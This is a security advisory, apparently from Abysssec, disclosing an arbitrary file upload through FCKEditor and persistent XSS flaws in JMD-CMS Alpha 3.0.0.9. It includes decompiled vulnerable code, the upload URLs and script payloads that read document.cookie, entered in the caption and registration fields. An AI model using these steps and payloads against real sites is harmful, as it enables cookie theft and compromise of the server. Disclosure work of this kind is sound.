MOAUB

Abysssec Research

1) Advisory information

Title	: JMD-CMS Multiple Remote Vulnerabilities
Affected	: JMD-CMS Alpha 3.0.0.9
Discovery	: www.abysssec.com
Vendor	: http://www.jmdcms.com
Impact	: Critical
Contact	: shahin [at] abysssec.com , info [at] abysssec.com
Twitter	: @abysssec

2) Vulnerability Information

Class

1- **Upload arbitrary file with FCKEditor**
2- **Persistent XSS**

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying server.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- Upload arbitrary file with FCKEditor:

With this vulnerability you can upload any file with this Link:

```
http://localhost/jmdcms/FCKeditor/editor/fckeditor.html
```

Your files will be in this path:

```
http://localhost/UserFiles/Image/
```

1- Persistent XSS Vulnerabilities:

In this path you can see a persistent XSS Vulnerability in Caption field:

```
http://localhost/jmdcms/addPage.aspx?Parent_Page=default
```

Note: this page is accessible for Admin.

Vulnerable Code:

```
            In App_Web_25otrp1v.dll  --->  Modules_Admin_AddPage Class

      ///////////////////////////////////////////////
            public void SavePage(string URI)
            ...
            ..
            .
            this.Page_Name.Text = this.Page_Name.Text.Replace("~", "-");
      try
      {
            server.JMD_PAGE_SAVE(this.Page_Id.Value, Util.SiteURL(URI), this.Page_Name.Text,
this.Page_Caption.Text, this.Meta_Title.Text, this.Meta_Desc.Text, this.Meta_Keywords.Text,
this.Parent_Page_Name.Text, str, str2, str3, this.CBLToString(this.View_Roles),
this.CBLToString(this.Add_Roles), this.CBLToString(this.Edit_Roles),
this.CBLToString(this.Delete_Roles), this.CBLToString(this.Move_Roles),
this.CBLToString(this.Add_Module_Roles), "0", str4, this.Page_Sort.Text, str5);
            ...
      }
            ///////////////////////////////////////////////
```

As you can see No Sanitizasion for Value: this.Page_Caption.Text. For example Caption can be:

```
<script>alert(document.cookie)</script>
```

Also there is another Persistent XSS In Register Page Vulnerable code located in:

```
App_Web_25otrp1v.dll  --->  Modules_Core_NewUser class

            ///////////////////////////////////////////////
            public bool SaveUser()
```

```
          ...
          ..
          .
      try
      {
           server.JMD_USER_INSERT(this.User_Id.Value,
Util.SiteURL(base.Request.QueryString["Pg"].ToString()), this.User_Name.Text,
this.User_Display_Name.Text, str, salt, this.Email.Text);
          ...
      }
          ////////////////////////////////////////////
```

No Sanitization for Values. For Example you can enter this values in Register Page: (This field is limited to 50 Character)

```
    UserID      = user<script>alert(document.cookie)</script>
    DisplayName = user<script>alert(document.cookie)</script>
    Password    = user
    Email            = ur@yah.com<script>alert(document.cookie)</script>
```

And when Admin see this page, your script will be run.

```
http://localhost/jmdcms/Users.aspx
```